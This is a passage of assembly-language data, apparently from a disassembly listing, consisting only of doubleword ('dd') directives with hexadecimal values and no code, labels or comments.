		dd 0A04756CCh, 0B73294ACh, 1BD9534Dh, 10464150h, 0B3AED52Eh
		dd 6C059759h, 0EA76570Ah, 31775A08h, 0F16B926Ch, 83BF2479h
		dd 7BE47368h, 4D5627DEh, 8C65D55Eh, 441CE125h, 4D2F180Ah
		dd 0D795E5B6h, 2B249615h, 0F366F657h, 0CE128192h, 5D08ADC9h
		dd 0DD5FA68Dh, 55C79FEDh, 0B36EB683h, 6E118F9Dh, 32BDE5B0h
		dd 0E82C944Ah, 86604C10h, 0C68EB166h, 25B8EA5Bh, 0D5425F0Bh
		dd 0CD6F3656h, 55095395h, 0D4266C33h, 3EA56DFEh, 0A2254A20h
		dd 6211EF09h, 2A909943h, 0AA4637A1h, 4FEFD577h,	1A029FA5h
		dd 72E554B7h, 1865B59h,	55E2DA01h, 0E53FE3D6h, 7A432C69h
		dd 263879C9h, 368441B7h, 4546DADFh, 13BCE90Ah, 0F7B08F31h
		dd 0EAFBDCBAh, 85ED0C2Bh, 4B6935CCh, 0C333D3FEh, 0B6F6773Ah
		dd 22C744F5h, 6628D42Eh, 59CDB64Bh, 0F03A8EC3h,	9302BB70h
		dd 6C6CB6DDh, 1BFE251Fh, 0B5E0CAF3h, 5209AA67h,	0AAC963AAh
		dd 584EA4FDh, 115C5612h, 671258FEh, 0FBC10798h,	0DD490A57h
		dd 6C05685Fh, 18BCF80Bh, 0EE8A3C41h, 0A3A1E686h, 6E2FA3BAh
		dd 9127618Dh, 0FAC71D4h, 0B42FB7B4h, 0BF4EA40Ah, 7DE11D63h
		dd 0FA5648ABh, 0E1C0FC2Fh, 0AC805AE4h, 64DE4E93h, 861A9999h
		dd 0EA81D647h, 2650FCEEh, 14645696h, 0B52EECEFh, 2CC9D927h
		dd 0F5512384h, 3F724CA6h, 0D3F0E46Fh, 504B969Ah, 5BD07A4Ch
		dd 9E833517h, 0DE4462E0h, 78877EC2h, 97D4E839h,	3D3F90DAh
		dd 0B841CDB0h, 4611D24Ah, 0E7AEB247h, 0F429137Ah, 3D5EBDE2h
		dd 0E2A1D2E8h, 6E67A4EDh, 91129B08h, 6858D2FCh,	0A30019DAh
		dd 0DF5854DDh, 5496491Bh, 0A99F22C6h, 6F55D7B4h, 0AF861EFFh
		dd 0D9F9601Bh, 41187215h
		dd 0C90CCACDh, 82DF181Ch, 5CD78312h, 311E3BCCh,	384F7Fh
		dd 38B49109h, 3657667Bh, 6AFD9369h, 0F382D972h,	0EBEE2BC9h
		dd 5AEFDACBh, 4BF8C45Bh, 3D29EE1Bh, 0FDCC87C8h,	0DD5B7118h
		dd 30945BB9h, 4F3F94DDh, 0D1E39CD2h, 6CF461E9h,	0F9467046h
		dd 29F63FAEh, 0C6B14712h, 29B9CEB2h, 49BF74A8h,	0E9D73F8Dh
		dd 84CF7361h, 17077760h, 0F4BF07B2h, 79F36560h,	0DAE0244h
		dd 0CF58E7E6h, 3070D66Ch, 1F5AEA23h, 473FCA5h, 332E6EC6h
		dd 774BC8C6h, 0DDDFB776h, 0EF4BB21Ch, 812D4177h, 96EC4D65h
		dd 0D8E190F1h, 1C07370Ah, 8246B1C6h, 5C615278h,	3A6BF09Bh
		dd 0BC19FF2Ch, 254B03C4h, 7A4072C7h, 522D2C5Bh,	0CDB21351h
		dd 542C79EEh, 0C4880062h, 67756AC3h, 207DC4A9h,	0CAFDE39Fh
		dd 0B80AC31Eh, 93B8DC96h, 7414E2FBh, 0ED4CB776h, 0B0910FB6h
		dd 7BF3422Eh, 0F898DDF6h, 0D12FE32Dh, 927B1507h, 9C6CF07h
		dd 0A77B3EA8h, 0A8D0207Dh, 9D82534Fh, 25FBD4DBh, 3268CE28h
		dd 41570241h, 29C17FEDh, 0CAA0DF21h, 0BE77E7FBh, 70F46C30h
		dd 4F3544C4h, 0FC8F0B3Fh, 481BEC55h, 0DC199094h, 19121DDDh
		dd 0B62E30EBh, 0E1C467EDh, 0FA2C6BC9h, 65E115C5h, 16124A38h
		dd 21AFDDBEh, 0F60C6F93h, 2D1771AEh, 817401DCh,	0BC344CCDh
		dd 1F5504A0h, 0B70F74C8h, 0C7527C6Ch, 79C60D32h, 1018264Bh
		dd 7615D073h, 0F9D18CC6h, 59A9D1D8h, 0B525D2C6h, 680D5487h
		dd 9D3846DCh, 0B50BFFCCh, 0E06BA9AFh, 618ADADFh, 383CC21Ch
		dd 0ED8B748Eh, 0D2A2094Dh, 0ABE34C31h, 0BED30FAEh, 0F5A7CB72h
		dd 0D95BC835h, 0E64CA643h, 502F0ACBh, 4950A3DBh, 0C822AA27h
		dd 14B9BA2Bh, 13900A83h, 0E370B5B1h, 0DDC0C1BCh, 6DADE86Ah
		dd 7658F3D1h, 0C95CC656h, 6487F840h, 0EA0EA2CEh, 0E6B500C5h
		dd 0C82D561Bh, 0C8B59216h, 8301C373h, 0B992C5ABh, 482AD77h
		dd 6E0545F9h, 844CF4C4h, 527574D9h, 0BA1F9C80h,	0F0E03431h
		dd 7D47A636h, 891379D7h, 2BD10361h, 0BE0C0D6Bh,	7C5072C3h
		dd 0A7D16D50h, 3616D9FCh, 0D6338223h, 75D43B3h,	7598CE5Ch
		dd 0E9A31CF2h, 7BF0DA62h, 0E3F58B4Eh, 37A49CC9h, 3F6F0Dh
		dd 0B11D4266h, 7B70701Ch, 51379930h, 0E1220501h, 885F9ECDh
		dd 0C698A6CFh, 2A1F1CDEh, 28D55F1Bh, 0DFE8E418h, 6DA9648Ch
		dd 0D4C3602Ch, 0FAF74E2Eh, 30BF9E2Fh, 708043F6h, 0E59D95F8h
		dd 3A49B91h, 899BA2DBh,	0FDBF13B9h, 0DF53FF94h,	87A11394h
		dd 0FCE9893Dh, 7D90894Bh, 5A5CE8BCh, 16086057h,	9A8C334Ch
		dd 0D00393BBh, 3A123A8Bh, 169D6DE2h, 7DFB89A8h,	0D8D706E6h
		dd 5B0CBFBEh, 2C0F410Bh, 39D98D88h, 284B43DDh, 789F6A51h
		dd 67EB5921h, 65465411h, 0D9B6E794h, 0E5DD8F92h, 0C0C9AFFDh
		dd 9E64E838h, 7EA50E44h, 0E6CCB5C2h, 3A49D791h,	0BA9FA59Dh
		dd 909CEDD6h, 0DBCA977Bh, 5A6AA5B2h, 2CF60532h,	9082FC01h
		dd 0C0B37639h, 49F369ECh, 57900B01h, 0DD4AE51Dh, 0A1A4739Ch
		dd 0AE824BAEh, 0BCA445A0h, 4FF70D07h, 503FBC6Fh, 817EAA91h
		dd 30622B82h, 486E8E4Ah, 84E1B8A2h, 5DBF7CE1h, 0C4B18C79h
		dd 0B95EFC8Dh, 78955DD4h, 1FA1AEDFh, 0C28FEF17h, 6FFFA6D7h
		dd 0DF78487Bh, 0E5224CFh, 63267E79h, 76078D5Fh,	77B22DFCh
		dd 427B7D11h, 994C3586h, 5C2C8C18h, 7816F58h, 5597502h
		dd 80C629F7h, 55701D84h, 0AA72847Bh, 3091505Ch,	0C065E45h
		dd 4FDDCAB2h, 68AA4E4Ch, 2310DC73h, 9D35A444h, 7B75DB4Ch
		dd 61A26A85h, 597E050Bh, 9A14ED20h, 0C046F81Fh,	8D62F97h
		dd 1887AA58h, 70DAE66Fh, 0E58ABC6Eh, 773469D0h,	17140B18h
		dd 677D3CBFh, 0B77C0671h, 0F3873DE6h, 0C73D0EBAh, 0FDE58374h
		dd 3EFC0C07h, 0C7A98348h, 85612475h, 8B5F766Dh,	2D5AC390h
		dd 37316314h, 0D5CFA77Fh, 2D1E6C00h, 0DD0197E9h, 6BB32F17h
		dd 8663D086h, 0C832F901h, 0B0DAED95h, 2CE5C32Bh, 77455B15h
		dd 8C497504h, 5245C90Eh, 4ADF0525h, 0D17EFF7h, 62B0090h
		dd 783EEAF3h, 3192B0h, 60991397h, 83DD3A2Ah, 0BB2A7554h
		dd 4F23431h, 9F2D55Dh, 0EA2C6286h, 0A085E498h, 0C7FECC2h
		dd 2CF840C5h, 0D4AB59A1h, 0AB7F975Bh, 0EFCA93AFh, 0ED5A33D6h
		dd 6FE3AB4h, 2559D105h,	7418CECBh, 9036CE26h, 49FB35DCh
		dd 61880DB3h, 38CA134Dh, 6BFFEBA8h, 8854848Bh, 0D147E16Ch
		dd 367C26CDh, 0AEB5C0F8h, 63159FDCh, 0D7D92B2Fh, 9B832C9Fh
		dd 20554C61h, 6CFED8D8h, 0B28A88A7h, 7AE6183Ch,	76804C83h
		dd 7B4D8D62h, 78C48BE6h, 0D00DE548h, 9A6C3E94h,	43EF04C3h
		dd 0CA87A610h, 8203F6DAh, 987BB15Fh, 0A25633FBh, 0BEDC01AFh
		dd 29507491h, 77A6047h,	459C131Ah, 0CC2B70CCh, 2AE86A8Dh
		dd 8F961588h, 14D7EB1Eh, 0FB13990Dh, 0BC87AD03h, 91065D52h
		dd 860DA56h, 5104255Ah,	84FF1875h, 0EBE7EB26h, 713FBF88h
		dd 79DB6A26h, 98CC97CBh, 26B6E192h, 85FC378Ch, 8335AAF5h
		dd 0A6003F7Fh, 7CC289DCh, 9F8E878Ah, 1B72029Ah,	88037027h
		dd 0C52B699Fh, 0E9D3D01Ch, 0A4ACC5E0h, 26AFE5D9h, 8F2BDD25h
		dd 0FF37AE7Fh, 9361333Bh, 92975423h, 550692BEh,	3FB55A80h
		dd 3B7AC7F2h, 7E312CF7h, 0D4F18AA7h, 4CFCA3D3h,	268EB698h
		dd 0DB1C4982h, 63F6AB49h, 40A20BB3h, 0F20A8AB9h, 0EC68A616h
		dd 92C72159h, 0BBBBE4C2h, 0EEA49EC8h, 0DCAA799h, 13455FBBh
		dd 0A9C84177h, 0BD7447F1h, 4A2F4C11h, 77FA71DDh, 55BE3317h
		dd 45028B27h, 55D9F1C0h, 91B95D1Dh, 0A9C3C9BDh,	6553CA0Dh
		dd 0E739D696h, 3C860A87h, 6E804735h, 0F530809h,	14E6CAA2h
		dd 429EAF17h, 25B92528h, 11A64AE5h, 334453F1h, 0A89D09D0h
		dd 345750B5h, 7F169C80h, 6F110620h, 78FCFB7Eh, 0F0A4F752h
		dd 68C14CFEh, 932900F5h, 5452AF39h, 0C75BED6Bh,	0E3663C57h
		dd 0BA37EE82h, 9CA20115h, 4AE71D65h, 0A20F3336h, 254691CEh
		dd 2D54D01Ch, 713C049Ch, 0A0A7A689h, 0A81A9361h, 0D6FBC7AFh
		dd 59F383D5h, 0D3FCF274h, 5AE2AC74h, 0D12DD90h,	3688ACA3h
		dd 0D54F8AF6h, 0CDCB769Eh, 0AAC0CC94h, 5259EFDCh, 4C3BF50Ch
		dd 0D4B3A5FAh, 5189717Bh, 0BCD01FEFh, 0F420AFBBh, 91758DBCh
		dd 5906A059h, 0D848F617h, 874E9F62h, 9C044EF3h,	0E454CDA3h
		dd 9C279Ah, 0C8E8456Dh,	8D423AE0h, 0C5087DA2h, 58FF79EDh
		dd 41BC784Eh, 0FCCDB546h, 0CE1A1782h, 0EA144DC1h, 8B381BE7h
		dd 16FA34E9h, 0F26A906Bh, 7DE5272Ah, 0E9E8C316h, 0CCD227C5h
		dd 6EB02A71h, 0DB09B8BBh, 0AEC73975h, 0E0A959BAh, 799FB5C1h
		dd 501616E1h, 0E2188B85h, 0E7CD4A4Ch, 6CF6DB50h, 0F51BD3Ah
		dd 0F37E630Dh, 0F3B8DA30h, 15EE9DA7h, 0D1864A08h, 765D3361h
		dd 4C1021FFh, 0D6B08F8Eh, 40CEE8DAh, 879F2AC4h,	5CA121F8h
		dd 0F1C14047h, 543AE207h, 0A384EC76h, 0E213C180h, 6439041Dh
		dd 0D0F05B8h, 94BFFC21h, 0FE3077FBh, 185E6454h,	615A039Ah
		dd 0A3182626h, 0D52C303Bh, 0AFC8828h, 8BEF10A9h, 7D35FBF5h
		dd 0A64F6729h, 0FC542F1Fh, 779962E6h, 3CA69FAh,	97A6167Ch
		dd 3EAB92C2h, 0EA57656Ah, 9D4000A6h, 0FB856C56h, 895C4648h
		dd 0FD93A2D2h, 0DBC72ED9h, 69121A94h, 9B8A3FC4h, 0FA3E17AAh
		dd 0B82286E8h, 58B321C0h, 15A888BFh, 0C26914EBh, 0CD00806Fh
		dd 0ADD915F5h, 2DAF4FEDh, 23C0C216h, 99E1D124h,	0DB4DBD14h
		dd 6BF36ED9h, 90DD2DDFh, 0A2801453h, 34972C47h,	0E25B25BAh
		dd 0AB4B6A73h, 58AB9826h
		dd 5EC0DFB9h, 0E4CEB94Dh, 192F835Dh, 21354EBEh,	1062195Ch
		dd 0F2519AC3h, 4D7A902Ch, 0A42B28C0h, 88EE1E9Eh, 1F9E0A54h
		dd 7458AE67h, 0A8CE03E2h, 46DED90h, 0AEF4F94Eh,	74C84F8Bh
		dd 4D9BFB74h, 361B4504h, 83EB74FAh, 0B36DCD3Eh,	1753F04h
		dd 0BC3CFC28h, 3718C848h, 9FD5F15Fh, 2C681641h,	0C2611DE3h
		dd 1C8DCEAEh, 80D0DDB6h, 7C3F6C96h, 3B93DB12h, 0E7B81319h
		dd 8FA3E67Ah, 421ED205h, 31E644BCh, 4C6D4754h, 2A965242h
		dd 9573CA2Dh, 0F2933636h, 2FAB703Bh, 0D7C6094Bh, 5E80EE08h
		dd 0D73D5FADh, 752DEB05h, 2212320Ah, 4E1A4B22h,	9D92729h
		dd 0A06EDE46h, 6C12C55h, 0BAB7204Fh, 597ADCBBh,	71B81A1Eh
		dd 0B695BD86h, 7F3410AFh, 85CFA84Bh, 1F44530Bh,	6B2C353Ah
		dd 53FF7B18h, 2CEDF2E5h, 10F1291Bh, 6B5FF58Bh, 7E03E69Fh
		dd 110AEF41h, 0CF7AB4A9h, 9370CC74h, 62E2C561h,	424BEAD3h
		dd 0E40CF280h, 4BBF3AE7h, 54B3D866h, 0F577662Dh, 5644A3CAh
		dd 4CF9864Eh, 0B7BC606Eh, 2F270237h, 2533E3E7h,	1DE0C4F8h
		dd 0D4F2BDAFh, 687BB9CBh, 0B0CC9850h, 7B61B733h, 8D72BE5Ah
		dd 900E4505h, 9F30EF47h, 97FA0533h, 8674E547h, 0EEFB24D3h
		dd 0FA4A6A8Ch, 0C69F8A7Eh, 0B959AC86h, 8081FC9Dh, 0C7708F94h
		dd 428E96E9h, 4DB062E6h, 64A8C644h, 20B4149Ch, 0BA689EACh
		dd 8269F7A2h, 4D732F02h, 0E8B176Ah, 6C792876h, 445ABAF0h
		dd 33EC3A5Fh, 4E96942Bh, 0D8A20FD4h, 84428B7h, 0A8603FE0h
		dd 0D9533DD5h, 354CA583h, 0A2E7E266h, 0C85026F8h, 0F9396504h
		dd 60410EDAh, 9C986DDDh, 9C78BCD2h, 24F8F205h, 0A1730495h
		dd 384E012h, 0A207D1C3h, 8345FF86h, 13E08C2Ah, 7621DBB7h
		dd 0A12F7A5Eh, 0A39A989Dh, 8C506D3h, 724896BBh,	0D260496Eh
		dd 9021899Ah, 78E9813Ch, 8B6DF68Ah, 4E6DD5A1h, 0BDA63129h
		dd 29DB57B8h, 0C73E6943h, 30694C46h, 3122EC00h,	1DE4F92Ah
		dd 12B7E8E4h, 0D70C889h, 2C53C62Fh, 0C4BDB8E8h,	0D991E4BBh
		dd 0E08D16FAh, 0A140A082h, 1ABA2C10h, 557D0DE5h, 0A0D9E5F3h
		dd 0FC5513E8h, 0B37B8702h, 49C29550h, 92D8120Dh, 69F478C1h
		dd 25B5A5D2h, 95A51B9Dh, 7462E4F5h, 90F7C96Eh, 0E0AACE7Ch
		dd 5287705Ah, 0B142EF2Dh, 7C8A4F65h, 690ED05Dh,	0B2551537h
		dd 0D16C06C1h, 25768C2Dh, 66D8A52h, 2DE241DAh, 9F5B81BCh
		dd 280D0534h, 5DAB1FB8h, 7027DE49h, 0BAB5ECFBh,	0BE3D8BE4h
		dd 0A625ED90h, 0C09E0623h, 0AE2620D7h, 425C91C0h, 19BCFCCAh
		dd 0BABC3840h, 7C18F5B4h, 660F27DFh, 0C9FD2CF6h, 5BEB9A58h
		dd 86BA5502h, 82C4B1D4h, 5B5FF5DDh, 62BFE5E7h, 62C1E320h
		dd 88721F72h, 0B7EE5C66h, 265CAFBDh, 8388C977h,	4FA950C6h
		dd 149B9E95h, 0C426DC2Dh, 8F801BF9h, 0BA5DD6B8h, 5C70C21Ch
		dd 0FCA82D80h, 69033F8Fh, 0AA1B84C5h, 0C7DCBF06h, 70703DF8h
		dd 1D78F984h, 11A852F4h, 0E874F37Bh, 1CEC5EF6h,	0C69822E2h
		dd 0D09EB07h, 9EC583C6h, 4CAAAB87h, 0AE7FCEBFh,	69583B61h
		dd 0DB53AD90h, 33EEEA33h, 3AF98874h, 5FFDBD1Dh,	0E86D95B6h
		dd 4CEABEC2h, 8FEC2354h, 0B96C6944h, 9BC73A20h,	9558F168h
		dd 0ACDE8491h, 0A303E160h, 84982CFDh, 1450F19Fh, 744D3A9Dh
		dd 2C1EE4B8h, 0A5EC2474h, 0E78FC029h, 0CE9D5AF5h, 0E7C7A440h
		dd 99096416h, 26D29D9Ah, 0AD1B462Ah, 7E0D420Ch,	0F4623A14h
		dd 0C694A0FAh, 8D71E73Eh, 3C9CAC1Fh, 0F9E1D472h, 0DE0B380Fh
		dd 6969337Fh, 972C19F3h, 3070F613h, 94271B1Bh, 0A6B3A165h
		dd 2E7BC4F6h, 8AF857F0h, 0EE5A1AE4h, 9B898C66h,	9F74CEC8h
		dd 0DCBA1C51h, 42BEF860h, 2928A033h, 758FE1C2h,	574A97F4h
		dd 0EC7C3DCDh, 6F875EF6h, 167004E1h, 161E6F4Fh,	9F638D27h
		dd 1EB82AEAh, 0F46FF677h, 0D493C52Ah, 0A8FB0DEBh, 0A2615E21h
		dd 8E1EE29Ch, 6CE7616Ah, 0E00EED3Eh, 867AC36Eh,	0BF0CD0Bh
		dd 8FB9348Eh, 702ED815h, 9B76199Ah, 4F3F7A3Eh, 0EDC4DE49h
		dd 0F34259CEh, 73C9532Fh, 2E6C9A03h, 7241AC23h,	0D051EEA0h
		dd 0CC6D44AEh, 60546D9Ah, 0F4C5FE8Fh, 5C72ED91h, 0CC992A1Eh
		dd 0ED2FA4A2h, 77BCFC08h, 33E37DFEh, 4ECEB9E9h,	0D488C346h
		dd 0C104CB16h, 60556CEh, 819D5E40h, 51315A9Bh, 47544384h
		dd 0BBBDA726h, 3360335Bh, 0E65BE2Dh, 34C57C0Eh,	0A19B09A7h
		dd 0CE2055B9h, 7FB6E3C6h, 2C7CD374h, 9BEE9560h,	93C7DF27h
		dd 3A047C2Bh, 3438FFC0h, 7DF3EA2h, 371B201Ah, 769498B5h
		dd 8B4AEFEBh, 3ED9EE3Ch, 70D7724Dh, 69C4D66Ch, 0A3AB3B58h
		dd 763DC591h, 0D19F64A0h, 0E7D631D4h, 218C3BCEh, 26D475E9h
		dd 0CB8EDA67h, 0CA0C772h, 0A782FF58h, 0DBF26D6Eh, 1079D456h
		dd 0CC0618CAh, 0E5092BA4h, 0C38EC068h, 0BB68AF8Ch, 4DD799B2h
		dd 5C933E4Dh, 0B1FD656Ch, 0A1E28487h, 8CE9D2Dh,	0AB5D5F84h
		dd 2E008Dh, 805E3531h, 0F397552Ch, 5C589AE5h, 1E231AEBh
		dd 0BA66B70Eh, 0D3B30D44h, 0D2549EF4h, 8700FF47h, 65F5E2FDh
		dd 2D0E5510h, 0CDCE42BAh, 35C95EF1h, 19EE1264h,	71BE0715h
		dd 820855A8h, 4D64CEE7h, 1083435Ch, 0A2AEFAB5h,	632BC664h
		dd 0A3D77B06h, 7E40F22Eh, 4B617391h, 17CF3793h,	63B1DD54h
		dd 0DB411B47h, 0ED8236B7h, 6C4DFF17h, 6153FF22h, 0C3CCBDC9h
		dd 317929F5h, 43852B2Eh, 0C17A735h, 14A4503Bh, 3E07309h
		dd 621053EEh, 5E477BE2h, 9CFA685Eh, 4C70796Eh, 0EEADA0DEh
		dd 0F1D0642Ch, 0F9A88A3Eh, 0B46B4ADBh, 0C59AF3DEh, 0F2680487h
		dd 7319ABCEh, 44F396A0h, 77197590h, 5E0D4304h, 19F49AE0h
		dd 0DDDA9D69h, 0F8F27679h, 0BA59FB99h, 3B010515h, 0BB74ADB6h
		dd 9A416433h, 2D124660h, 0EF068F3Dh, 0E95F15D9h, 102FFDE0h
		dd 0E8477040h, 82A23612h, 0EC6A5B72h, 85271A4Ch, 64AF6E90h
		dd 0B562148Eh, 3FCAE9D0h, 0B7BAE378h, 634EE5BBh, 0B3AF1072h
		dd 9A692FCBh, 0F474FEFDh, 0B3683FD6h, 1F7D3E0Dh, 7290427Eh
		dd 267C6C15h, 240D7EE2h, 76453B42h, 0D6BF7BCEh,	5A91555Ch
		dd 167DE31Dh, 0ED3CE9CFh, 71F69B32h, 0C873999Bh, 0B06A39D6h
		dd 0EFF7939Bh, 6EB5D9Bh, 108ED694h, 8BF48357h, 8929510h
		dd 0F19AF8A2h, 3220E899h, 0B2F823C7h, 9AD8E498h, 0D540ED79h
		dd 76B2CE67h, 0B3DA09FCh, 990E3588h, 0E332DC37h, 40526C39h
		dd 4FFD19DCh, 5EA966B7h, 0A58C491Eh, 5036AA43h,	20BA42DBh
		dd 4BE404CBh, 0B244842Dh, 0BF9BE646h, 0C0131106h, 2DC77B09h
		dd 0E9A04D57h, 80752261h, 44C48527h, 5F6DA4A9h,	0B3E040DFh
		dd 0E8876535h, 24339719h, 0E01019B5h, 808BC81Eh, 712FBF9Ch
		dd 51E5FACCh, 65FEF203h, 50FEEBF4h, 0FF5BA14Eh,	0CA0A0B87h
		dd 3D27A94Ch, 42D2A6Ch,	34973E87h, 0C9125CCFh, 0D84092A8h
		dd 0F60F253Ch, 3D6A99A2h, 71248EF3h, 0F4FD0D35h, 359C769Bh
		dd 614C37FEh, 5DB567EDh, 0C8DAB2CBh, 0A8CE5D29h, 901B2E79h
		dd 0F30FB48Dh, 4929678Eh, 6CD7A2AFh, 1A6AFB66h,	7F511E35h
		dd 0D9FFD9F2h, 178DA575h, 0EF4FA11Fh, 5A1EFFDBh, 0ACCFAFF6h
		dd 1DB1FE33h, 48B252F2h, 78FE37BBh, 323B1BC2h, 1E30B9EAh
		dd 0B0DAEEE0h, 602E2525h, 0EC09D63Dh, 0DBE6F314h, 0B0BAA299h
		dd 4EF382ECh, 0ABA05EA3h, 0CB1CDA99h, 823F1F31h, 0DAFD146Eh
		dd 0EA6A2DB5h, 7F63F2F0h, 9CC8478Dh, 0D8C2B9A2h, 22F9258Fh
		dd 0D30CC48Bh, 5B15EB93h, 41332898h, 9EBF3A8Fh,	0ACA4A8ACh
		dd 97C64BA7h, 1CC222BFh
		dd 691BEA7Bh, 490F4A7Ch, 0F18CC8A4h, 32805C66h,	36429D27h
		dd 5CCFA60h, 17B0B166h,	14867DFCh, 8045867Fh, 0CE7943Dh
		dd 2B4149DDh, 0CC3CD768h, 38F09056h, 398C27A3h,	48A238A9h
		dd 5BC1CE71h, 6677C202h, 2447AD6Fh, 6C606B98h, 505A3261h
		dd 8EB9B59Ah, 0F0D7F5Eh, 8376D49Ah, 0BC67124Ah,	5DDC96E0h
		dd 11659243h, 5C70FFF1h, 0B69E59A7h, 0B297C56Ah, 58F52CBEh
		dd 0D1A20BBh, 0EC003AE3h, 68DD1F8Bh, 60B3CFC2h,	156B4FCh
		dd 0CFFEB3CAh, 0F67C1FC1h, 2162AB6Bh, 28CF3A0Ch, 7AF732DEh
		dd 0F85720CCh, 0B5F6B35Ah, 8576C655h, 7674CA6Dh, 9C0119BCh
		dd 38AA0428h, 7939DCA9h, 2485E889h, 0F08343E1h,	0DC2AE92Fh
		dd 7E412BBCh, 0E0AC26FEh, 0D98CAB77h, 0D4212563h, 1FBCC9E1h
		dd 2AB9D9B2h, 33FD7674h, 308CB7B2h, 7B35E60Ah, 0C9B80C3h
		dd 193D37ADh, 0A56EE3A7h, 0F07C842Dh, 0C17D675Eh, 0F0C1C52Fh
		dd 6B768EBAh, 32AB64A6h, 569B7085h, 0ABC7D035h,	0CA9B9BB2h
		dd 0DFE54355h, 78463Dh,	0B8A10295h, 0BF41C3BEh,	5D05E9C0h
		dd 5B9D8DEDh, 55FEA285h, 0C70C9095h, 62CE41Bh, 0F5BE3802h
		dd 7A90BE4Dh, 4E42EEC7h, 0BA38C27Eh, 52681E1Ch,	0FB988C85h
		dd 22C0D264h, 37056622h, 0CA5CB8D9h, 42E4A0D4h,	3BAA4D9Fh
		dd 2B92A362h, 0AC36C2A5h, 8D7B751Eh, 6A5258B2h,	0D92DAE65h
		dd 86C8D574h, 2706229Bh, 0A06CC199h, 0B2EAC1F0h, 657AE7A6h
		dd 0C068B974h, 1F74E960h, 72D20ADCh, 0DC8A78DAh, 7EDE1E6Fh
		dd 0A93B437Bh, 0C52ECF8Ch, 681169B3h, 0E446E4DBh, 9D601312h
		dd 0C6E80E25h, 0E5903FFAh, 941A67FEh, 0DAB94835h, 0A38D431Ch
		dd 0ED5C4352h, 630430E5h, 0DD9C2F9Fh, 27E42A0Ch, 25CB1B71h
		dd 0E43CA937h, 0AD0FD10Dh, 0D2D098DFh, 0BA51524Fh, 0DA57044Bh
		dd 0A9DC928Fh, 7FBB12Fh, 0E2466133h, 8CC066DBh,	60B40E5Ah
		dd 392F784Dh, 2DAAF070h, 564DC95h, 9DB7842Ah, 0C68626D4h
		dd 0D9BF8703h, 0CB441C0Ch, 0F25AC086h, 0A0C33A7Eh, 8BCD1F13h
		dd 0A82248FFh, 115222F0h, 6B73E072h, 5CEB99ECh,	0B6400350h
		dd 0B0EFAFF0h, 191B6409h, 4978F6E7h, 5955C1D5h,	2F23D83Ch
		dd 0A0E9E894h, 0D74C6F4Ah, 684BEEC3h, 3759E32Ch, 7E78A90Ah
		dd 0D05EB103h, 0DF661FD3h, 199024B7h, 0C567A1A3h, 89838C1Fh
		dd 0A99DE616h, 5F1D0338h, 7576D58Ah, 6C532FAEh,	42C41223h
		dd 0DA4A0316h, 0AA23DE69h, 0C7A222h, 38E9C85Fh,	6DB643B7h
		dd 29EDAE69h, 7E4473ECh, 2A5FB9F9h, 3D377053h, 0FA408Dh
		dd 37924BCDh, 0C95F1607h, 0AD5F0669h, 0CE1E6E3Fh, 143DF3B9h
		dd 45F0FEBh, 4FE30B1Bh,	5306EF20h, 3D6D36BCh, 776D9AFBh
		dd 3B4DBE4Dh, 5D5F2FDCh, 28B180E8h, 3E09CCBDh, 0CC822F01h
		dd 0EFB5850h, 0CFFEB689h, 0C8E39153h, 301700D6h, 71F86E7Bh
		dd 0F0303C82h, 7DC6782Eh, 3ED62D31h, 7A52F6BDh,	0F4EC5D28h
		dd 0F40AA5FAh, 87EC7F8Fh, 21C81710h, 0C71A54C0h, 0EC139D04h
		dd 17EF328Ah, 0E0DFEE3Ch, 83FD9312h, 0E41FA537h, 6E2CEB6Fh
		dd 2EB5A5CDh, 4B158FFAh, 0D71B74AEh, 91FBEAB1h,	0E5B1A468h
		dd 0C2E85A55h, 23B2C2DDh, 0D02C1521h, 0D423E911h, 0CA2DCEB0h
		dd 1B869A86h, 125FC47Dh, 0CBA2A056h, 9F798C78h,	79268A0Ah
		dd 561F3C23h, 3C82D8BDh, 0E8C3898Bh, 0BBFB8B3Fh, 9D9BE24Dh
		dd 2C92DC75h, 489ABF34h, 78D614D6h, 43B79BEAh, 7007EFF1h
		dd 0F284AC76h, 9CE1054Dh, 4951CEABh, 0C6F2B8C0h, 63C29388h
		dd 661B89FEh, 3B2D7DDAh, 861C4937h, 0AF25F2BFh,	4BA56741h
		dd 0EF9675F7h, 0D556A6F9h, 953616D9h, 0AE07BF5Bh, 0AABF034Ah
		dd 1FB1AECh, 0DC7D8412h, 0B96E64D0h, 54ECF9B3h,	0C50633CFh
		dd 0DDD45BC1h, 40485703h, 256B463h, 2882B0E3h, 0E7194C9Dh
		dd 8644DF99h, 5E97509Ah, 0AA7EFABBh, 7868FFB8h,	0D6D5FF39h
		dd 57A474E1h, 37EA57C0h, 0BA233E60h, 3569BB18h,	0AA851331h
		dd 0FC09302Bh, 7065F88Fh, 5AEA067Eh, 10601B59h,	35456AF7h
		dd 283963C1h, 8D6ABAB3h, 0F45CF946h, 800A59CBh,	0D2A6DE0Dh
		dd 0BCA29037h, 7754CDE5h, 0E4E8167Dh, 0B691AA6Ah, 0B85E9CA3h
		dd 0D9B62D80h, 0E120D89Bh, 0FFC80462h, 0C3B9528Ah, 24A6F260h
		dd 0A43BB6E7h, 0E722D4DCh, 0EEC85126h, 0B833B80Dh, 3CE30BB2h
		dd 0BBBB8DD6h, 253D0971h, 5DE3286Ch, 0FECC763Dh, 83BA076Fh
		dd 6A9BB86Bh, 585486Fh,	5B369CB7h, 18F8ED70h, 9F07046Dh
		dd 0CDF9630Fh, 73CC44CFh, 0B0878830h, 0EC1E8ADAh, 0F4A80F8Ch
		dd 55519FC5h, 328D89B5h, 71EA2421h, 0AD5DF7BFh,	0B47810Ch
		dd 0F1AD8FABh, 0E4203420h, 0D2240EEAh, 4806DF1Dh, 68C190F3h
		dd 87247A0Dh, 9CAC8CF5h, 0FE7ACA28h, 620E26CEh,	0B7EBF8A5h
		dd 92B0B3C4h, 0ECCF9283h, 701D54D2h, 78AF343Ah,	0FD492F2h
		dd 8A135814h, 8BA99CAEh, 3D598E33h, 84D053ACh, 0E37847F8h
		dd 4A5CD0E3h, 1343C10Bh, 39461CE1h, 92B98870h, 9CFE6C93h
		dd 97A46E28h, 9C33DBD2h, 55D6F311h, 0FA8D60E5h,	92D53EB0h
		dd 0FE56660h, 0B8818E79h, 77F82FC8h, 0E7C6B1F3h, 0AF147F79h
		dd 307CE2EEh, 5F36141Ah, 61E22FB9h, 59B39CDFh, 0E949A2Dh
		dd 0A1B1AEF7h, 0B168E7F5h, 0CEE3252Bh, 95AAE690h, 0F72C8322h
		dd 2DA9B14Ch, 0FAACE0A9h, 444AE609h, 7E759F19h,	0FC997007h
